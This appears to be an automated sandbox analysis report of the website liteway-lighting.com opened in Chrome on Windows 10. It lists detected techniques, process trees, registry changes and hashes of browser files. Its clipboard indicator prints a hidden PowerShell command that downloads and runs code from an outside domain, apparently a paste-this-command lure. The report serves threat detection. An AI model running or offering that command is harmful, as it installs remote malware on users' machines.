hxxp://liteway-lighting[.]com

Analysis

user interaction
yes
max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/08/2026, 03:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
http://liteway-lighting.com
Sample260803-d6hhbabe88

Score

7^/10

discovery

Malware Config

Signatures

Suspicious clipboard content. 1 IoCs

A suspicious script was copied to clipboard.

ioc	Process
powershell -w h "iex(irm 'enter-press-cdn.info/3c3f3aabf41ad7e0' -UseBasicParsing)"; exit	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1716	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134302018830681918"	chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
1648	chrome.exe
1648	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe
Token: SeShutdownPrivilege	2920	chrome.exe
Token: SeCreatePagefilePrivilege	2920	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe
2920	chrome.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 2920 wrote to memory of 2388	2920	chrome.exe	87
PID 2920 wrote to memory of 3044	2920	chrome.exe	88
PID 2920 wrote to memory of 3044	2920	chrome.exe	88
PID 2920 wrote to memory of 1716	2920	chrome.exe	89
PID 2920 wrote to memory of 3232	2920	chrome.exe	90
PID 2920 wrote to memory of 3232	2920	chrome.exe	90
PID 2920 wrote to memory of 5116	2920	chrome.exe	91
PID 2920 wrote to memory of 532	2920	chrome.exe	92
PID 2920 wrote to memory of 5116	2920	chrome.exe	91
PID 2920 wrote to memory of 532	2920	chrome.exe	92
PID 2920 wrote to memory of 3328	2920	chrome.exe	94
PID 2920 wrote to memory of 3328	2920	chrome.exe	94
PID 2920 wrote to memory of 2880	2920	chrome.exe	96
PID 2920 wrote to memory of 2880	2920	chrome.exe	96
PID 2920 wrote to memory of 1540	2920	chrome.exe	97
PID 2920 wrote to memory of 1540	2920	chrome.exe	97
PID 2920 wrote to memory of 4728	2920	chrome.exe	103
PID 2920 wrote to memory of 4728	2920	chrome.exe	103
PID 2920 wrote to memory of 4252	2920	chrome.exe	107
PID 2920 wrote to memory of 4704	2920	chrome.exe	108
PID 2920 wrote to memory of 3040	2920	chrome.exe	109
PID 2920 wrote to memory of 3964	2920	chrome.exe	110
PID 2920 wrote to memory of 1648	2920	chrome.exe	115

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://liteway-lighting.com
1⤵
- Suspicious clipboard content.
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2920
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff813c4c728,0x7ff813c4c734,0x7ff813c4c740
  2⤵
  PID:2388
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1756,i,5810945468487029022,12696657804820664630,262144 --field-trial-handle=2012,i,17058569900511396574,1217710370439197528,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2008 /prefetch:2
  2⤵
  PID:3044
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2248,i,2501540469432966545,3753413586992572537,524288 --field-trial-handle=2012,i,17058569900511396574,1217710370439197528,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2264 /prefetch:3
  2⤵
  - System Time Discovery
  PID:1716
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2380,i,1726139111933335104,9165937980070964002,524288 --field-trial-handle=2012,i,17058569900511396574,1217710370439197528,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2464 /prefetch:8
  2⤵
  PID:3232
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3152,i,9994864801931106490,11105916074599385589,2097152 --field-trial-handle=2012,i,17058569900511396574,1217710370439197528,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3200 /prefetch:1
  2⤵
  PID:5116
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3164,i,5958208400831232932,15389536906071066099,2097152 --field-trial-handle=2012,i,17058569900511396574,1217710370439197528,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3304 /prefetch:1
  2⤵
  PID:532
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4456,i,7982896384114915146,1752440137869118927,2097152 --field-trial-handle=2012,i,17058569900511396574,1217710370439197528,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4484 /prefetch:2
  2⤵
  PID:3328
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4724,i,4906205791078662857,7222260425832296287,2097152 --field-trial-handle=2012,i,17058569900511396574,1217710370439197528,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4732 /prefetch:1
  2⤵
  PID:2880
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=3276,i,5504931377264809185,15641147623110930002,2097152 --field-trial-handle=2012,i,17058569900511396574,1217710370439197528,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3192 /prefetch:1
  2⤵
  PID:1540
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5680,i,18394857964388838252,10630236137635201283,2097152 --field-trial-handle=2012,i,17058569900511396574,1217710370439197528,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5892 /prefetch:1
  2⤵
  PID:4728
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=208,i,17189887032240972202,14758352744245239914,524288 --field-trial-handle=2012,i,17058569900511396574,1217710370439197528,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5556 /prefetch:8
  2⤵
  PID:4252
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5564,i,3729950381250273618,16378744156452309986,524288 --field-trial-handle=2012,i,17058569900511396574,1217710370439197528,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5576 /prefetch:8
  2⤵
  PID:4704
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5548,i,16551952387162275501,7424839105966367164,524288 --field-trial-handle=2012,i,17058569900511396574,1217710370439197528,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5536 /prefetch:8
  2⤵
  PID:3040
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=6180,i,2467404254152266537,18180460260323868126,524288 --field-trial-handle=2012,i,17058569900511396574,1217710370439197528,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6184 /prefetch:8
  2⤵
  PID:3964
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5244,i,5782198590016928457,10185616365782032452,262144 --field-trial-handle=2012,i,17058569900511396574,1217710370439197528,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5256 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1648

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3028

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 bef225d6051987d6048b04791d97e1c6ab2a9869e4152100e705369ec447332f
MD5 49535acf911feaf0bd227edb22101e78
SHA1 a5467f6d177557ed68d7a6492f5ba8a400d8f17f
SHA512 90b25023c4d011fb124cc99d505482233d834b6ac42c68dbce2a027620dbc5ba986b54552b8c1d77e4deb05162b377f6bac99fe921932bf493fc5049166a7479
TLSH
T143E023B5C5219D3B0CFD071814540646E65413172740496B7A3DD50DCF756371589C1C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 1KB
SHA256 07b18ae2f2e2ae53789cf0c5849ff319786ef0e83204b30bde790b4cad649bab
MD5 ad22ed8cf0cf3eb17ab2ce27ccedaba3
SHA1 8afb00ecf96369a33bfd82c95a73887a22f3d8f2
SHA512 4d9c8257cccbda154f5ec53060fdf79e9e8587f948b167166ce3d420fc683934b84d4931b452e398b856382322860275ea35b04ba44f227d0570834d0ac1dec9
TLSH
T1FD218901D5C6D924DF0C0AB477AB5C8815A09F4A719D5743846D2F09378F2CF739B004
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 7KB
SHA256 818da2162f609c8590b039e030fe4cfe9cf85e788890009812b1e05c9611100d
MD5 7d5ad508123b6b8668a2a73b8a743a6c
SHA1 ee97d554d8567a24f4430c4e135caffde7f0554b
SHA512 cdf2098dbcdc9f0db8e9722a44bab781617b18dcea81dd9b3fd32764a4b7b4fdbbb84097844abfcb874c69dec48f9254028852ac9cb140f81541247ab30f63a3
SSDEEP 192:DxEf2nVC9qdaIaEdeb7Bt3SbQrH5+eErgs6SGY0:DxEf2nVC9qdaIaEdeb7Bt3SbQrH5+eEy
TLSH
T1D8F19CF78BE8972D995152F5BA282E1BCE1D0954032C3D56C5E4AE6FA3F3471E24038E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 6KB
SHA256 e610c1ab741c7c2eb35f7ef8c5caf2390dc9cf67f5914776706c063c4e734c9b
MD5 873d99aa249f74b8f58ebf4f0a6e4ed8
SHA1 3ee38592759d669f4ad1f6f837948dcd3b74f7c2
SHA512 4ffab45e01f490bec95a2b195ff0ca7f8fdc5c16bd67f7525f1251a7b2a4f8dc49057c19140cc191065d1999a3df9bec0f3555c3d9663c39526971dccf639105
SSDEEP 192:DxEf2nVCFaIaEdeb7Bt3SbQrH5+eErgFguH0:DxEf2nVCFaIaEdeb7Bt3SbQrH5+eErg4
TLSH
T149E18BF78BE8A62D995152F5BA242E1BCE1D0954432C3D56C5E49E6FA3F3470E24038E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 dd7738b6e551b460c207a7888bb1153dc7c906c0f4aeae7aedb72ac356389577
MD5 35535d2ec1c0dc1d96dd6b1e72ec278d
SHA1 daeaeb06a2d5b92a9d6232e5f5b0cf8a2bf3e612
SHA512 4cc723b065b73bfb179ef8161d304d781bd9e43c233a6bb43077dd128e137fc855c169163c001e3d17f0155387a54624a7017884c7ed22cf479c60c2bafba152
SSDEEP 192:wRXyGlT4xDv72ympAPRp2Qe95Hsb+WNnwervE2LMe8ftAKYVyIsnAUge:wRXyJ7QUXC7w1I2CfD8e
TLSH
T12042EA2FAA20697BACDBD219FD667767E7F5103225801D80EAFC9A2C04E75CC321741B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 336f24e856050df849780d3bfc87ed7727c090918c6f5eef24b5d3081f682ad6
MD5 1c40ed764ad95f25046472c7196eeddc
SHA1 6db151fb491f74c10ace5c6faf4f76a94ae5ee61
SHA512 c0c7edd584e60e568b7de2427d73f82f9d5ae2c315f9e608091b22606b862381d6f1c2ccf7202b27b7b8c80948a48fbc83efccc8d5f4f1c13845a8a6970890f0
SSDEEP 192:wRXyGlT4xov72ympAPRp2Qe95Hsb+WNnwervE2nMe8ftAKGVyIsnAUge:wRXyJ0QUXC7w1I2ufDee
TLSH
T1BA42D92FAA20697B9CDBD219F9667767E7F5103625901D80EAFC9B2C04E75CC321701B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 17KB
SHA256 93a969d5494520a313d59c847d3ee10e51ce49e2c8cea4f6ea38850cfab527d0
MD5 65eaa0a57fc2a07c6f5f8e9c22429ba6
SHA1 83b5d3c038efb456e4191e45a08c6c1cf8b7d43f
SHA512 2f69609ebf02ccda7dd197a901863ecdf075cd94dce3ddcaf8f69f28aa522eed4a257c71ee04de563d2d250a18b8f7b4dfd5e90247d3586bee22fe519ccbce35
SSDEEP 384:Q+jM77KxkXqKf/pUZNCgVLH2HfgslAG7pLuLcSjW3XODM3+ErU3oPHGqkkpLtE:QOM77KxkXqKf/pUZNCgVLH2HfgsSG7pu
TLSH
T136720A67684C9A370F94CACCDC16BF4FACB5025B65ED886492FA5C1503D5ACF110A2FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 120B
SHA256 95ea8349bc70aa051dd4f42264d66a223e6d3c4dd70da3d757a55dccdb525f50
MD5 fcb81b6bebab0dc911b9e324db4dbc67
SHA1 963ef908fab330ea725091e210ae11e13b248e00
SHA512 10d12f12f1ad1b81ff76b6b54a72a9be9dd8f3438e373e0df0b5fed1065a3893888f18acc6aa1235b8de5315c9f2f6ccf7003d7d5116329bdcf82000d5d8cda5
TLSH
T14EB01240C0015101C00606F821865889B114DF10D70A170543E469669C262518214050
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe58915e.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe58915e.TMP
Size 96B
SHA256 e28340374727a2a93c56b78c06a0aca37d3027992ccc4f5bcee8b7dc21e4db71
MD5 506e25a2bd57bd8b9983af0460ad763c
SHA1 2056387070c9258c30bdef699e65dfb62fff4e4e
SHA512 13c67903f59cfe4df3361513427256f45f0106142bdcb3b114371177f6b8e5dccfaa43ab872633c2a8919d0014e0a8effb3e04566f2afb879ef41d258db82d2b
TLSH
T1BCB02202C802A202C0030BB03AC8C2C838E0CF32CA03AA02A2E00A2BCC30A20023E030
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 116KB
SHA256 212357b95efc26ae29cde9f0ef217fa434c5609a92397c7c6c668be6c4919159
MD5 8a8e07ccf6dbaa0443421c1822ae643a
SHA1 09a46c72b9de2eb01d8af8cbca575c759227cb43
SHA512 cc2b9639cd0f24f207d5253bfb1b935b7db27913c11dd48ba4f1f7e46e7b0e4b66d56883f5d9453c70179a5b2257c3853ca391eec80318979f26bb8d46c1afec
SSDEEP 1536:F8yD4aukHU65fd7Ntk8XOP851ZqODZHQ3gwGSUq0BTQQwsNwSVwxfQEz3bICbjf:Iqfd7NtZL8cHQRZEQ6Spsk
TLSH
T188C30237AFC61E339DD2DB60B9130EDA93F604A99034D305EA6D77AB6C83495B44289C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 115KB
SHA256 047571db3ed199d90ab45736e92159715bfb24cb38cfe7ef4a536dc4fc294278
MD5 44d5bfbab603172bdd64d15fe5119ab4
SHA1 db6d3dd06df360141ae26b8828198e4e7fec4556
SHA512 5158b4978f14ff595a3f6180ffc40bc45c16154d6d9b33d5e2a4198855227a9e685a115927400cc54b4eaf807cba6c730e67e8e8cd9782437a243558e953f6b0
SSDEEP 1536:TcQyD4aukHU65fd7Ntk8XOP851ZqODZHQ3gwGSUq0BTQQwsNwSVwxfQEz3bICbjf:1qfd7NtZL8cHQRZEQ6Spsk
TLSH
T149C30237EBC21F339D92CB64B9530FD6A7B644A59034D301AA6D77BF6C83491744289C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 116KB
SHA256 e5cf083f5930a206bb6b9a0a1cf6b7fa62fb965d7d0a036ac4cd7f722c8e7dcf
MD5 22609191f4a7c573b6b2b7b6ab25bf1c
SHA1 34f0753f1270aa2eaee542e3a99290bf9bcf79dd
SHA512 72e8b6c49bc6b6068b594a62e28ca4b7589a8847c10d7c84530c4d3d94a28752b7f38f6be9614f74f998f793f1224edf89f8dd8d7f3b2b27791dcf57da3d83bb
SSDEEP 1536:05xtyD4aukHU65fd7Ntk8XOP851ZqODZHQ3gwGSUq0BTQQwsNwSVwxfQEz3bICbz:ozqfd7NtZL8cHQRZEQ6Spsk
TLSH
T1BCC30237ABC61E339ED2CB74B9130ED797B644A99034D301AA6D37FB6883895748249C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

